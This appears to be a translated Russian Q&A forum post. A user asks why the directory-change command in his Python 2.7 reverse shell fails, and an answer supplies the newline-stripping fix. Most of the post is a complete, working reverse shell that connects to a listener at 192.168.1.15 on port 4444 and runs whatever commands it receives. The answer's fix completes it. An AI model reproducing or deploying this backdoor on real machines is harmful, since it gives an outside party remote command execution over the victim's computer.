WindowsError: [Ошибка 123] Неверный синтаксис имени файла, имени каталога или метки тома
Я делаю простую обратную оболочку Python 2.7, для функции смены каталога каждый раз, когда я набираю cd C:\ на моем сервере netcat, она выдает эту ошибку "WindowsError: [Ошибка 123] Синтаксис имени файла, имени каталога или метки тома неверно: 'C:\\n'"Вот мой код.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
1 ответ
Решение
Когда вы используете data = s.recv(1024)
получать данные с удаленного \n
символ, генерируемый при нажатии клавиши Enter для завершения текущего ввода, будет получен одновременно.
Так что вам просто нужно .strip()
это или использовать [:-1]
удалить последний символ (который \n
), когда вы получаете данные.
data = s.recv(1024).strip()
или же
data = s.recv(1024)[:-1]
может оба в порядке.